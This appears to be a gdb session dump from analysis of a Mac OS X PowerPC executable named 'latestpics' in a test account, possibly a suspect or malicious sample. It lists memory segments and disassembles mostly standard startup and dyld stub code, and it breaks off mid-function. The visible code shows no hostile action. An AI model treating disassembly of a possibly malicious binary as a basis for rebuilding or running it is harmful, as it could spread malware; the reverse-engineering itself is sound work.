Symbols from "/Users/test/latestpics". Mac OS X executable: /Users/test/latestpics, file type mach-o-be. Entry point: 0x00002344 0x00001000 - 0x00004000 is LC_SEGMENT.__TEXT in /Users/test/latestpics 0x00002344 - 0x000035ac is LC_SEGMENT.__TEXT.__text in /Users/test/latestpics 0x000035c0 - 0x00003b40 is LC_SEGMENT.__TEXT.__picsymbolstub1 in /Users/test/latestpics 0x00003b40 - 0x00003fc4 is LC_SEGMENT.__TEXT.__cstring in /Users/test/latestpics 0x00004000 - 0x00009000 is LC_SEGMENT.__DATA in /Users/test/latestpics 0x00004000 - 0x00008910 is LC_SEGMENT.__DATA.__data in /Users/test/latestpics 0x00008910 - 0x0000892c is LC_SEGMENT.__DATA.__nl_symbol_ptr in /Users/test/latestpics 0x0000892c - 0x000089dc is LC_SEGMENT.__DATA.__la_symbol_ptr in /Users/test/latestpics 0x000089dc - 0x000089f8 is LC_SEGMENT.__DATA.__dyld in /Users/test/latestpics 0x000089f8 - 0x00008a00 is LC_SEGMENT.__DATA.__bss in /Users/test/latestpics 0x00008a00 - 0x00008a34 is LC_SEGMENT.__DATA.__common in /Users/test/latestpics 0x00009000 - 0x0000aaac is LC_SEGMENT.__LINKEDIT in /Users/test/latestpics 0x8fe00000 - 0x8fe51000 is LC_SEGMENT.__TEXT in /usr/lib/dyld 0x8fe01000 - 0x8fe43424 is LC_SEGMENT.__TEXT.__text in /usr/lib/dyld 0x8fe43440 - 0x8fe44798 is LC_SEGMENT.__TEXT.__textcoal_nt in /usr/lib/dyld 0x8fe44798 - 0x8fe4833c is LC_SEGMENT.__TEXT.__eh_frame in /usr/lib/dyld 0x8fe4833c - 0x8fe501a0 is LC_SEGMENT.__TEXT.__cstring in /usr/lib/dyld 0x8fe501a0 - 0x8fe50418 is LC_SEGMENT.__TEXT.__const in /usr/lib/dyld 0x8fe50418 - 0x8fe505c6 is LC_SEGMENT.__TEXT.__const_coal in /usr/lib/dyld 0x8fe505c8 - 0x8fe50670 is LC_SEGMENT.__TEXT.__literal8 in /usr/lib/dyld 0x8fe51000 - 0x8fe58000 is LC_SEGMENT.__DATA in /usr/lib/dyld 0x8fe51000 - 0x8fe55678 is LC_SEGMENT.__DATA.__data in /usr/lib/dyld 0x8fe55678 - 0x8fe5568c is LC_SEGMENT.__DATA.__mod_init_func in /usr/lib/dyld 0x8fe5568c - 0x8fe5569c is LC_SEGMENT.__DATA.__mod_term_func in /usr/lib/dyld 0x8fe5569c - 0x8fe55778 is LC_SEGMENT.__DATA.__nl_symbol_ptr in /usr/lib/dyld 0x8fe55778 - 0x8fe56614 is LC_SEGMENT.__DATA.__gcc_except_tab in /usr/lib/dyld 0x8fe56614 - 0x8fe566d8 is LC_SEGMENT.__DATA.__const_coal in /usr/lib/dyld 0x8fe566d8 - 0x8fe57674 is LC_SEGMENT.__DATA.__const in /usr/lib/dyld 0x8fe57680 - 0x8fe5a2d4 is LC_SEGMENT.__DATA.__bss in /usr/lib/dyld 0x8fe5a2d4 - 0x8fe5a2fc is LC_SEGMENT.__DATA.__common in /usr/lib/dyld 0x8fe5b000 - 0x8fe6bc14 is LC_SEGMENT.__LINKEDIT in /usr/lib/dyld 0x90849000 - 0x9084a000 is LC_SEGMENT.__TEXT in /System/Library/Frameworks/CoreServices.framework/Versions/A/CoreServices 0x90849e74 - 0x90849f44 is LC_SEGMENT.__TEXT.__text in /System/Library/Frameworks/CoreServices.framework/Versions/A/CoreServices 0x90849f60 - 0x90849ff0 is LC_SEGMENT.__TEXT.__cstring in /System/Library/Frameworks/CoreServices.framework/Versions/A/CoreServices 0x90849ff0 - 0x90849ff8 is LC_SEGMENT.__TEXT.__literal8 in /System/Library/Frameworks/CoreServices.framework/Versions/A/CoreServices 0xa0849000 - 0xa084a000 is LC_SEGMENT.__DATA in /System/Library/Frameworks/CoreServices.framework/Versions/A/CoreServices 0xa0849000 - 0xa0849004 is LC_SEGMENT.__DATA.__data in /System/Library/Frameworks/CoreServices.framework/Versions/A/CoreServices 0xa0849004 - 0xa084900c is LC_SEGMENT.__DATA.__dyld in /System/Library/Frameworks/CoreServices.framework/Versions/A/CoreServices 0xa084900c - 0xa0849010 is LC_SEGMENT.__DATA.__nl_symbol_ptr in /System/Library/Frameworks/CoreServices.framework/Versions/A/CoreServices 0x9084a000 - 0x9084a278 is LC_SEGMENT.__LINKEDIT in /System/Library/Frameworks/CoreServices.framework/Versions/A/CoreServices 0x90000000 - 0x901a7000 is LC_SEGMENT.__TEXT in /usr/lib/libSystem.B.dylib 0x90001120 - 0x901813d8 is LC_SEGMENT.__TEXT.__text in /usr/lib/libSystem.B.dylib 0x901813e0 - 0x9018b420 is LC_SEGMENT.__TEXT.__picsymbolstub1 in /usr/lib/libSystem.B.dylib 0x9018b420 - 0x9019753c is LC_SEGMENT.__TEXT.__cstring in /usr/lib/libSystem.B.dylib 0x9019753c - 0x90197e7c is LC_SEGMENT.__TEXT.__VLib_Container in /usr/lib/libSystem.B.dylib 0x90197e7c - 0x901984e4 is LC_SEGMENT.__TEXT.__VLib_Exports in /usr/lib/libSystem.B.dylib 0x901984f0 - 0x901a5cb0 is LC_SEGMENT.__TEXT.__const in /usr/lib/libSystem.B.dylib 0x901a5cb0 - 0x901a6908 is LC_SEGMENT.__TEXT.__literal8 in /usr/lib/libSystem.B.dylib 0x901a6908 - 0x901a6974 is LC_SEGMENT.__TEXT.__literal4 in /usr/lib/libSystem.B.dylib 0x901a6974 - 0x901a6fe4 is LC_SEGMENT.__TEXT.__eh_frame in /usr/lib/libSystem.B.dylib 0xa0000000 - 0xa000b000 is LC_SEGMENT.__DATA in /usr/lib/libSystem.B.dylib 0xa0000000 - 0xa0005f34 is LC_SEGMENT.__DATA.__data in /usr/lib/libSystem.B.dylib 0xa0005f34 - 0xa0005f3c is LC_SEGMENT.__DATA.__dyld in /usr/lib/libSystem.B.dylib 0xa0005f3c - 0xa0006340 is LC_SEGMENT.__DATA.__nl_symbol_ptr in /usr/lib/libSystem.B.dylib 0xa0006340 - 0xa0007748 is LC_SEGMENT.__DATA.__la_symbol_ptr in /usr/lib/libSystem.B.dylib 0xa0007748 - 0xa0007a7c is LC_SEGMENT.__DATA.__VLib_Func_BPs in /usr/lib/libSystem.B.dylib 0xa0007a80 - 0xa0008b38 is LC_SEGMENT.__DATA.__const in /usr/lib/libSystem.B.dylib 0xa0008b38 - 0xa0008b44 is LC_SEGMENT.__DATA.__mod_init_func in /usr/lib/libSystem.B.dylib 0xa0008b50 - 0xa000ae30 is LC_SEGMENT.__DATA.__commpage in /usr/lib/libSystem.B.dylib 0xa000ae30 - 0xa0011d04 is LC_SEGMENT.__DATA.__bss in /usr/lib/libSystem.B.dylib 0xa0011d08 - 0xa0011f88 is LC_SEGMENT.__DATA.__common in /usr/lib/libSystem.B.dylib 0x901a7000 - 0x901fd764 is LC_SEGMENT.__LINKEDIT in /usr/lib/libSystem.B.dylib 0xffff8000 - 0xffff9708 is LC_SEGMENT. in /usr/lib/libSystem.B.dylib[LC_SEGMENT.__DATA.__commpage] 0xffff8000 - 0xffff9704 is LC_SEGMENT.__TEXT.__text in /usr/lib/libSystem.B.dylib[LC_SEGMENT.__DATA.__commpage] 0xffff9704 - 0xffff9708 is LC_SEGMENT.__DATA.__data in /usr/lib/libSystem.B.dylib[LC_SEGMENT.__DATA.__commpage] Dump of assembler code from 0x2344 to 0x35ac: 0x00002344 : mr r26,r1 0x00002348 : addi r1,r1,-4 0x0000234c : rlwinm r1,r1,0,0,26 0x00002350 : li r0,0 0x00002354 : stw r0,0(r1) 0x00002358 : stwu r1,-64(r1) 0x0000235c : lwz r3,0(r26) 0x00002360 : addi r4,r26,4 0x00002364 : addi r27,r3,1 0x00002368 : rlwinm r27,r27,2,0,29 0x0000236c : add r5,r4,r27 0x00002370 : lis r11,0 0x00002374 : ori r11,r11,9092 0x00002378 : mtctr r11 0x0000237c : bctrl 0x00002380 : trap 0x00002384 <_start+0>: mflr r0 0x00002388 <_start+4>: stmw r28,-16(r1) 0x0000238c <_start+8>: stw r0,8(r1) 0x00002390 <_start+12>: stwu r1,-96(r1) 0x00002394 <_start+16>: bcl- 20,4*cr7+so,0x2398 <_start+20> 0x00002398 <_start+20>: mflr r31 0x0000239c <_start+24>: mr r28,r3 0x000023a0 <_start+28>: mr r29,r4 0x000023a4 <_start+32>: mr r30,r5 0x000023a8 <_start+36>: bl 0x28b4 <_dyld_init_check> 0x000023ac <_start+40>: addis r2,r31,0 0x000023b0 <_start+44>: stw r28,7272(r2) 0x000023b4 <_start+48>: addis r2,r31,0 0x000023b8 <_start+52>: stw r29,7276(r2) 0x000023bc <_start+56>: addis r2,r31,0 0x000023c0 <_start+60>: stw r30,7280(r2) 0x000023c4 <_start+64>: addis r2,r31,0 0x000023c8 <_start+68>: lwz r2,25976(r2) 0x000023cc <_start+72>: lwz r12,0(r2) 0x000023d0 <_start+76>: cmpwi cr7,r12,0 0x000023d4 <_start+80>: beq- cr7,0x23e0 <_start+92> 0x000023d8 <_start+84>: mtctr r12 0x000023dc <_start+88>: bctrl 0x000023e0 <_start+92>: addis r2,r31,0 0x000023e4 <_start+96>: lwz r2,25984(r2) 0x000023e8 <_start+100>: lwz r12,0(r2) 0x000023ec <_start+104>: cmpwi cr7,r12,0 0x000023f0 <_start+108>: beq- cr7,0x23fc <_start+120> 0x000023f4 <_start+112>: mtctr r12 0x000023f8 <_start+116>: bctrl 0x000023fc <_start+120>: bl 0x35e0 0x00002400 <_start+124>: addis r2,r31,0 0x00002404 <_start+128>: lwz r12,7288(r2) 0x00002408 <_start+132>: lwz r0,0(r12) 0x0000240c <_start+136>: cmpwi cr7,r0,0 0x00002410 <_start+140>: beq+ cr7,0x241c <_start+152> 0x00002414 <_start+144>: mtctr r12 0x00002418 <_start+148>: bctrl 0x0000241c <_start+152>: bl 0x25f8 <_call_mod_init_funcs> 0x00002420 <_start+156>: bl 0x26f8 <_call_objcInit> 0x00002424 <_start+160>: addis r3,r31,0 0x00002428 <_start+164>: addi r3,r3,6060 0x0000242c <_start+168>: addi r4,r1,56 0x00002430 <_start+172>: bl 0x290c <_dyld_func_lookup> 0x00002434 <_start+176>: lwz r3,56(r1) 0x00002438 <_start+180>: cmpwi cr7,r3,0 0x0000243c <_start+184>: beq- cr7,0x2444 <_start+192> 0x00002440 <_start+188>: bl 0x3600 0x00002444 <_start+192>: li r0,0 0x00002448 <_start+196>: addis r2,r31,0 0x0000244c <_start+200>: lwz r2,25980(r2) 0x00002450 <_start+204>: stw r0,0(r2) 0x00002454 <_start+208>: lwz r11,0(r29) 0x00002458 <_start+212>: cmpwi cr7,r11,0 0x0000245c <_start+216>: bne+ cr7,0x24dc <_start+344> 0x00002460 <_start+220>: b 0x24a4 <_start+288> 0x00002464 <_start+224>: cmpwi cr7,r0,47 0x00002468 <_start+228>: bne+ cr7,0x2470 <_start+236> 0x0000246c <_start+232>: mr r10,r2 0x00002470 <_start+236>: mr r2,r9 0x00002474 <_start+240>: lbz r0,0(r9) 0x00002478 <_start+244>: addi r9,r9,1 0x0000247c <_start+248>: extsb. r0,r0 0x00002480 <_start+252>: bne+ 0x2464 <_start+224> 0x00002484 <_start+256>: cmpwi cr7,r10,0 0x00002488 <_start+260>: beq- cr7,0x249c <_start+280> 0x0000248c <_start+264>: addi r0,r10,1 0x00002490 <_start+268>: addis r2,r31,0 0x00002494 <_start+272>: stw r0,7284(r2) 0x00002498 <_start+276>: b 0x24a4 <_start+288> 0x0000249c <_start+280>: addis r2,r31,0 0x000024a0 <_start+284>: stw r11,7284(r2) 0x000024a4 <_start+288>: lwz r0,0(r30) 0x000024a8 <_start+292>: mr r6,r30 0x000024ac <_start+296>: cmpwi cr7,r0,0 0x000024b0 <_start+300>: beq- cr7,0x24c4 <_start+320> 0x000024b4 <_start+304>: mr r6,r30 0x000024b8 <_start+308>: lwzu r0,4(r6) 0x000024bc <_start+312>: cmpwi cr7,r0,0 0x000024c0 <_start+316>: bne+ cr7,0x24b8 <_start+308> 0x000024c4 <_start+320>: mr r3,r28 0x000024c8 <_start+324>: mr r4,r29 0x000024cc <_start+328>: mr r5,r30 0x000024d0 <_start+332>: addi r6,r6,4 0x000024d4 <_start+336>: bl 0x2cec
0x000024d8 <_start+340>: bl 0x35c0 0x000024dc <_start+344>: lbz r0,0(r11) 0x000024e0 <_start+348>: extsb. r0,r0 0x000024e4 <_start+352>: beq- 0x249c <_start+280> 0x000024e8 <_start+356>: addi r9,r11,1 0x000024ec <_start+360>: mr r2,r11 0x000024f0 <_start+364>: li r10,0 0x000024f4 <_start+368>: b 0x2464 <_start+224> 0x000024f8 <_start+372>: mflr r0 0x000024fc <_start+376>: bcl- 20,4*cr7+so,0x2500 <_start+380> 0x00002500 <_start+380>: mflr r12 0x00002504 <_start+384>: addis r12,r12,0 0x00002508 <_start+388>: mtlr r0 0x0000250c <_start+392>: addi r12,r12,4288 0x00002510 <_start+396>: mtctr r12 0x00002514 <_start+400>: bctr 0x00002518 <_start+404>: mflr r0 0x0000251c <_start+408>: bcl- 20,4*cr7+so,0x2520 <_start+412> 0x00002520 <_start+412>: mflr r12 0x00002524 <_start+416>: addis r12,r12,0 0x00002528 <_start+420>: mtlr r0 0x0000252c <_start+424>: addi r12,r12,1996 0x00002530 <_start+428>: mtctr r12 0x00002534 <_start+432>: bctr 0x00002538 <_start+436>: mflr r0 0x0000253c <_start+440>: bcl- 20,4*cr7+so,0x2540 <_start+444> 0x00002540 <_start+444>: mflr r12 0x00002544 <_start+448>: addis r12,r12,0 0x00002548 <_start+452>: mtlr r0 0x0000254c <_start+456>: addi r12,r12,4288 0x00002550 <_start+460>: mtctr r12 0x00002554 <_start+464>: bctr 0x00002558 <_start+468>: mflr r0 0x0000255c <_start+472>: bcl- 20,4*cr7+so,0x2560 <_start+476> 0x00002560 <_start+476>: mflr r12 0x00002564 <_start+480>: addis r12,r12,0 0x00002568 <_start+484>: mtlr r0 0x0000256c <_start+488>: addi r12,r12,940 0x00002570 <_start+492>: mtctr r12 0x00002574 <_start+496>: bctr 0x00002578 <_start+500>: mflr r0 0x0000257c <_start+504>: bcl- 20,4*cr7+so,0x2580 <_start+508> 0x00002580 <_start+508>: mflr r12 0x00002584 <_start+512>: addis r12,r12,0 0x00002588 <_start+516>: mtlr r0 0x0000258c <_start+520>: addi r12,r12,376 0x00002590 <_start+524>: mtctr r12 0x00002594 <_start+528>: bctr 0x00002598 <_start+532>: mflr r0 0x0000259c <_start+536>: bcl- 20,4*cr7+so,0x25a0 <_start+540> 0x000025a0 <_start+540>: mflr r12 0x000025a4 <_start+544>: addis r12,r12,0 0x000025a8 <_start+548>: mtlr r0 0x000025ac <_start+552>: addi r12,r12,88 0x000025b0 <_start+556>: mtctr r12 0x000025b4 <_start+560>: bctr 0x000025b8 <_start+564>: mflr r0 0x000025bc <_start+568>: bcl- 20,4*cr7+so,0x25c0 <_start+572> 0x000025c0 <_start+572>: mflr r12 0x000025c4 <_start+576>: addis r12,r12,0 0x000025c8 <_start+580>: mtlr r0 0x000025cc <_start+584>: addi r12,r12,4128 0x000025d0 <_start+588>: mtctr r12 0x000025d4 <_start+592>: bctr 0x000025d8 <_start+596>: mflr r0 0x000025dc <_start+600>: bcl- 20,4*cr7+so,0x25e0 <_start+604> 0x000025e0 <_start+604>: mflr r12 0x000025e4 <_start+608>: addis r12,r12,0 0x000025e8 <_start+612>: mtlr r0 0x000025ec <_start+616>: addi r12,r12,724 0x000025f0 <_start+620>: mtctr r12 0x000025f4 <_start+624>: bctr 0x000025f8 <_call_mod_init_funcs+0>: mflr r0 0x000025fc <_call_mod_init_funcs+4>: stw r31,-4(r1) 0x00002600 <_call_mod_init_funcs+8>: stw r0,8(r1) 0x00002604 <_call_mod_init_funcs+12>: stwu r1,-96(r1) 0x00002608 <_call_mod_init_funcs+16>: bcl- 20,4*cr7+so,0x260c <_call_mod_init_funcs+20> 0x0000260c <_call_mod_init_funcs+20>: mflr r31 0x00002610 <_call_mod_init_funcs+24>: addis r3,r31,0 0x00002614 <_call_mod_init_funcs+28>: addi r3,r3,5456 0x00002618 <_call_mod_init_funcs+32>: addi r4,r1,56 0x0000261c <_call_mod_init_funcs+36>: bl 0x290c <_dyld_func_lookup> 0x00002620 <_call_mod_init_funcs+40>: lwz r12,56(r1) 0x00002624 <_call_mod_init_funcs+44>: mtctr r12 0x00002628 <_call_mod_init_funcs+48>: bctrl 0x0000262c <_call_mod_init_funcs+52>: addi r1,r1,96 0x00002630 <_call_mod_init_funcs+56>: lwz r0,8(r1) 0x00002634 <_call_mod_init_funcs+60>: mtlr r0 0x00002638 <_call_mod_init_funcs+64>: lwz r31,-4(r1) 0x0000263c <_call_mod_init_funcs+68>: blr 0x00002640 <_call_mod_init_funcs+72>: mflr r0 0x00002644 <_call_mod_init_funcs+76>: bcl- 20,4*cr7+so,0x2648 <_call_mod_init_funcs+80> 0x00002648 <_call_mod_init_funcs+80>: mflr r12 0x0000264c <_call_mod_init_funcs+84>: addis r12,r12,0 0x00002650 <_call_mod_init_funcs+88>: mtlr r0 0x00002654 <_call_mod_init_funcs+92>: addi r12,r12,708 0x00002658 <_call_mod_init_funcs+96>: mtctr r12 0x0000265c <_call_mod_init_funcs+100>: bctr 0x00002660 : mr r2,r3 0x00002664 : lbz r0,0(r3) 0x00002668 : extsb. r0,r0 0x0000266c : beqlr 0x00002670 : mr r3,r2 0x00002674 : cmpwi cr7,r0,47 0x00002678 : beq- cr7,0x2684 0x0000267c : addi r2,r2,1 0x00002680 : b 0x268c 0x00002684 : addi r3,r2,1 0x00002688 : mr r2,r3 0x0000268c : lbz r0,0(r2) 0x00002690 : extsb. r0,r0 0x00002694 : bne+ 0x2674 0x00002698 : blr 0x0000269c : lbz r0,0(r4) 0x000026a0 : extsb. r2,r0 0x000026a4 : beq- 0x26e0 0x000026a8 : lbz r0,0(r3) 0x000026ac : extsb r0,r0 0x000026b0 : cmpw cr7,r0,r2 0x000026b4 : bne+ cr7,0x26e8 0x000026b8 : b 0x26f0 0x000026bc : lbzx r0,r3,r9 0x000026c0 : extsb r0,r0 0x000026c4 : cmpw cr7,r0,r11 0x000026c8 : bne- cr7,0x26e8 0x000026cc : addi r2,r2,1 0x000026d0 : mr r9,r2 0x000026d4 : lbzx r0,r4,r2 0x000026d8 : extsb. r11,r0 0x000026dc : bne+ 0x26bc 0x000026e0 : li r3,1 0x000026e4 : blr 0x000026e8 : li r3,0 0x000026ec : blr 0x000026f0 : li r2,0 0x000026f4 : b 0x26cc 0x000026f8 <_call_objcInit+0>: mflr r0 0x000026fc <_call_objcInit+4>: stmw r27,-20(r1) 0x00002700 <_call_objcInit+8>: stw r0,8(r1) 0x00002704 <_call_objcInit+12>: stwu r1,-128(r1) 0x00002708 <_call_objcInit+16>: bcl- 20,4*cr7+so,0x270c <_call_objcInit+20> 0x0000270c <_call_objcInit+20>: mflr r31 0x00002710 <_call_objcInit+24>: addis r3,r31,0 0x00002714 <_call_objcInit+28>: addi r3,r3,5248 0x00002718 <_call_objcInit+32>: addi r4,r1,56 0x0000271c <_call_objcInit+36>: bl 0x290c <_dyld_func_lookup> 0x00002720 <_call_objcInit+40>: addis r3,r31,0 0x00002724 <_call_objcInit+44>: addi r3,r3,5268 0x00002728 <_call_objcInit+48>: addi r4,r1,60 0x0000272c <_call_objcInit+52>: bl 0x290c <_dyld_func_lookup> 0x00002730 <_call_objcInit+56>: addis r3,r31,0 0x00002734 <_call_objcInit+60>: addi r3,r3,5292 0x00002738 <_call_objcInit+64>: addi r4,r1,64 0x0000273c <_call_objcInit+68>: bl 0x290c <_dyld_func_lookup> 0x00002740 <_call_objcInit+72>: addis r3,r31,0 0x00002744 <_call_objcInit+76>: addi r3,r3,5316 0x00002748 <_call_objcInit+80>: addi r4,r1,68 0x0000274c <_call_objcInit+84>: bl 0x290c <_dyld_func_lookup> 0x00002750 <_call_objcInit+88>: addis r3,r31,0 0x00002754 <_call_objcInit+92>: addi r3,r3,5348 0x00002758 <_call_objcInit+96>: addi r4,r1,72 0x0000275c <_call_objcInit+100>: bl 0x290c <_dyld_func_lookup> 0x00002760 <_call_objcInit+104>: lwz r12,56(r1) 0x00002764 <_call_objcInit+108>: cmpwi cr7,r12,0 0x00002768 <_call_objcInit+112>: beq- cr7,0x2840 <_call_objcInit+328> 0x0000276c <_call_objcInit+116>: lwz r0,60(r1) 0x00002770 <_call_objcInit+120>: cmpwi cr7,r0,0 0x00002774 <_call_objcInit+124>: beq- cr7,0x2840 <_call_objcInit+328> 0x00002778 <_call_objcInit+128>: lwz r0,64(r1) 0x0000277c <_call_objcInit+132>: cmpwi cr7,r0,0 0x00002780 <_call_objcInit+136>: beq- cr7,0x2840 <_call_objcInit+328> 0x00002784 <_call_objcInit+140>: lwz r0,68(r1) 0x00002788 <_call_objcInit+144>: cmpwi cr7,r0,0 0x0000278c <_call_objcInit+148>: beq- cr7,0x2840 <_call_objcInit+328> 0x00002790 <_call_objcInit+152>: lwz r0,72(r1) 0x00002794 <_call_objcInit+156>: cmpwi cr7,r0,0 0x00002798 <_call_objcInit+160>: beq- cr7,0x2840 <_call_objcInit+328> 0x0000279c <_call_objcInit+164>: mtctr r12 0x000027a0 <_call_objcInit+168>: bctrl 0x000027a4 <_call_objcInit+172>: mr. r29,r3 0x000027a8 <_call_objcInit+176>: beq+ 0x2840 <_call_objcInit+328> 0x000027ac <_call_objcInit+180>: li r30,0 0x000027b0 <_call_objcInit+184>: addis r28,r31,0 0x000027b4 <_call_objcInit+188>: addis r27,r31,0 0x000027b8 <_call_objcInit+192>: mr r3,r30 0x000027bc <_call_objcInit+196>: lwz r12,60(r1) 0x000027c0 <_call_objcInit+200>: mtctr r12 0x000027c4 <_call_objcInit+204>: bctrl 0x000027c8 <_call_objcInit+208>: bl 0x2660 0x000027cc <_call_objcInit+212>: addi r4,r28,5376 0x000027d0 <_call_objcInit+216>: bl 0x269c 0x000027d4 <_call_objcInit+220>: cmpwi cr7,r3,0 0x000027d8 <_call_objcInit+224>: beq+ cr7,0x2834 <_call_objcInit+316> 0x000027dc <_call_objcInit+228>: mr r3,r30 0x000027e0 <_call_objcInit+232>: lwz r12,64(r1) 0x000027e4 <_call_objcInit+236>: mtctr r12 0x000027e8 <_call_objcInit+240>: bctrl 0x000027ec <_call_objcInit+244>: cmpwi cr7,r3,0 0x000027f0 <_call_objcInit+248>: beq- cr7,0x2834 <_call_objcInit+316> 0x000027f4 <_call_objcInit+252>: addi r4,r27,5384 0x000027f8 <_call_objcInit+256>: li r5,4 0x000027fc <_call_objcInit+260>: lwz r12,68(r1) 0x00002800 <_call_objcInit+264>: mtctr r12 0x00002804 <_call_objcInit+268>: bctrl 0x00002808 <_call_objcInit+272>: cmpwi cr7,r3,0 0x0000280c <_call_objcInit+276>: beq- cr7,0x2834 <_call_objcInit+316> 0x00002810 <_call_objcInit+280>: lwz r12,72(r1) 0x00002814 <_call_objcInit+284>: mtctr r12 0x00002818 <_call_objcInit+288>: bctrl 0x0000281c <_call_objcInit+292>: cmpwi r3,0 0x00002820 <_call_objcInit+296>: beq+ 0x2834 <_call_objcInit+316> 0x00002824 <_call_objcInit+300>: mr r12,r3 0x00002828 <_call_objcInit+304>: mtctr r3 0x0000282c <_call_objcInit+308>: bctrl 0x00002830 <_call_objcInit+312>: b 0x2840 <_call_objcInit+328> 0x00002834 <_call_objcInit+316>: addi r30,r30,1 0x00002838 <_call_objcInit+320>: cmpw cr7,r29,r30 0x0000283c <_call_objcInit+324>: bne+ cr7,0x27b8 <_call_objcInit+192> 0x00002840 <_call_objcInit+328>: addi r1,r1,128 0x00002844 <_call_objcInit+332>: lwz r0,8(r1) 0x00002848 <_call_objcInit+336>: mtlr r0 0x0000284c <_call_objcInit+340>: lmw r27,-20(r1) 0x00002850 <_call_objcInit+344>: blr 0x00002854 <_call_objcInit+348>: mflr r0 0x00002858 <_call_objcInit+352>: bcl- 20,4*cr7+so,0x285c <_call_objcInit+356> 0x0000285c <_call_objcInit+356>: mflr r12 0x00002860 <_call_objcInit+360>: addis r12,r12,0 0x00002864 <_call_objcInit+364>: mtlr r0 0x00002868 <_call_objcInit+368>: addi r12,r12,-448 0x0000286c <_call_objcInit+372>: mtctr r12 0x00002870 <_call_objcInit+376>: bctr 0x00002874 <_call_objcInit+380>: mflr r0 0x00002878 <_call_objcInit+384>: bcl- 20,4*cr7+so,0x287c <_call_objcInit+388> 0x0000287c <_call_objcInit+388>: mflr r12 0x00002880 <_call_objcInit+392>: addis r12,r12,0 0x00002884 <_call_objcInit+396>: mtlr r0 0x00002888 <_call_objcInit+400>: addi r12,r12,-540 0x0000288c <_call_objcInit+404>: mtctr r12 0x00002890 <_call_objcInit+408>: bctr 0x00002894 <_call_objcInit+412>: mflr r0 0x00002898 <_call_objcInit+416>: bcl- 20,4*cr7+so,0x289c <_call_objcInit+420> 0x0000289c <_call_objcInit+420>: mflr r12 0x000028a0 <_call_objcInit+424>: addis r12,r12,0 0x000028a4 <_call_objcInit+428>: mtlr r0 0x000028a8 <_call_objcInit+432>: addi r12,r12,112 0x000028ac <_call_objcInit+436>: mtctr r12 0x000028b0 <_call_objcInit+440>: bctr 0x000028b4 <_dyld_init_check+0>: lis r11,1 0x000028b8 <_dyld_init_check+4>: lwz r11,-30244(r11) 0x000028bc <_dyld_init_check+8>: cmpwi cr1,r11,0 0x000028c0 <_dyld_init_check+12>: bnelr++ cr1 0x000028c4 <_dyld_init_check+16>: li r5,78 0x000028c8 <_dyld_init_check+20>: lis r4,0 0x000028cc <_dyld_init_check+24>: ori r4,r4,15392 0x000028d0 <_dyld_init_check+28>: li r3,2 0x000028d4 <_dyld_init_check+32>: li r0,4 0x000028d8 <_dyld_init_check+36>: sc 0x000028dc <_dyld_init_check+40>: nop 0x000028e0 <_dyld_init_check+44>: li r3,59 0x000028e4 <_dyld_init_check+48>: li r0,1 0x000028e8 <_dyld_init_check+52>: sc 0x000028ec <_dyld_init_check+56>: trap 0x000028f0 <_dyld_init_check+60>: trap 0x000028f4 : lis r12,1 0x000028f8 : lwz r0,-30244(r12) 0x000028fc : mtctr r0 0x00002900 : lis r12,0 0x00002904 : ori r12,r12,4096 0x00002908 : bctr 0x0000290c <_dyld_func_lookup+0>: lis r11,1 0x00002910 <_dyld_func_lookup+4>: lwz r11,-30240(r11) 0x00002914 <_dyld_func_lookup+8>: mtctr r11 0x00002918 <_dyld_func_lookup+12>: bctr 0x0000291c : mflr r0 0x00002920 : stmw r30,-8(r1) 0x00002924 : stw r0,8(r1) 0x00002928 : stwu r1,-96(r1) 0x0000292c : mr r30,r1 0x00002930 : stw r3,120(r30) 0x00002934 : stw r4,124(r30) 0x00002938 : li r3,1 0x0000293c : li r4,40 0x00002940 : bl 0x3700 0x00002944 : mr r0,r3 0x00002948 : stw r0,56(r30) 0x0000294c : lwz r2,56(r30) 0x00002950 : lwz r0,120(r30) 0x00002954 : stw r0,4(r2) 0x00002958 : lwz r2,56(r30) 0x0000295c : lwz r0,124(r30) 0x00002960 : stw r0,8(r2) 0x00002964 : lwz r2,56(r30) 0x00002968 : li r0,40 0x0000296c : stw r0,0(r2) 0x00002970 : li r3,301 0x00002974 : bl 0x3680 0x00002978 : mr r0,r3 0x0000297c : lwz r2,56(r30) 0x00002980 : stw r0,16(r2) 0x00002984 : li r3,301 0x00002988 : lwz r4,56(r30) 0x0000298c : bl 0x36e0 0x00002990 : lwz r1,0(r1) 0x00002994 : lwz r0,8(r1) 0x00002998 : mtlr r0 0x0000299c : lmw r30,-8(r1) 0x000029a0 : blr 0x000029a4 : mflr r0 0x000029a8 : bcl- 20,4*cr7+so,0x29ac 0x000029ac : mflr r12 0x000029b0 : addis r12,r12,0 0x000029b4 : mtlr r0 0x000029b8 : addi r12,r12,3380 0x000029bc : mtctr r12 0x000029c0 : bctr 0x000029c4 : mflr r0 0x000029c8 : bcl- 20,4*cr7+so,0x29cc 0x000029cc : mflr r12 0x000029d0 : addis r12,r12,0 0x000029d4 : mtlr r0 0x000029d8 : addi r12,r12,3252 0x000029dc : mtctr r12 0x000029e0 : bctr 0x000029e4 : mflr r0 0x000029e8 : bcl- 20,4*cr7+so,0x29ec 0x000029ec : mflr r12 0x000029f0 : addis r12,r12,0 0x000029f4 : mtlr r0 0x000029f8 : addi r12,r12,3348 0x000029fc : mtctr r12 0x00002a00 : bctr 0x00002a04 : mflr r0 0x00002a08 : stmw r30,-8(r1) 0x00002a0c : stw r0,8(r1) 0x00002a10 : stwu r1,-96(r1) 0x00002a14 : mr r30,r1 0x00002a18 : stw r3,120(r30) 0x00002a1c : stw r4,124(r30) 0x00002a20 : li r0,0 0x00002a24 : stw r0,56(r30) 0x00002a28 : li r3,301 0x00002a2c : bl 0x3680 0x00002a30 : mr r0,r3 0x00002a34 : stw r0,64(r30) 0x00002a38 : addi r0,r30,64 0x00002a3c : stw r0,60(r30) 0x00002a40 : b 0x2ab4 0x00002a44 : lwz r2,60(r30) 0x00002a48 : lwz r2,0(r2) 0x00002a4c : lwz r2,4(r2) 0x00002a50 : lwz r0,120(r30) 0x00002a54 : cmpw cr7,r2,r0 0x00002a58 : bne- cr7,0x2aa4 0x00002a5c : lwz r2,60(r30) 0x00002a60 : lwz r2,0(r2) 0x00002a64 : lwz r2,8(r2) 0x00002a68 : lwz r0,124(r30) 0x00002a6c : cmpw cr7,r2,r0 0x00002a70 : bne- cr7,0x2aa4 0x00002a74 : lwz r2,60(r30) 0x00002a78 : lwz r0,0(r2) 0x00002a7c : stw r0,56(r30) 0x00002a80 : lwz r2,56(r30) 0x00002a84 : lwz r0,16(r2) 0x00002a88 : lwz r2,60(r30) 0x00002a8c : stw r0,0(r2) 0x00002a90 : lwz r2,56(r30) 0x00002a94 : 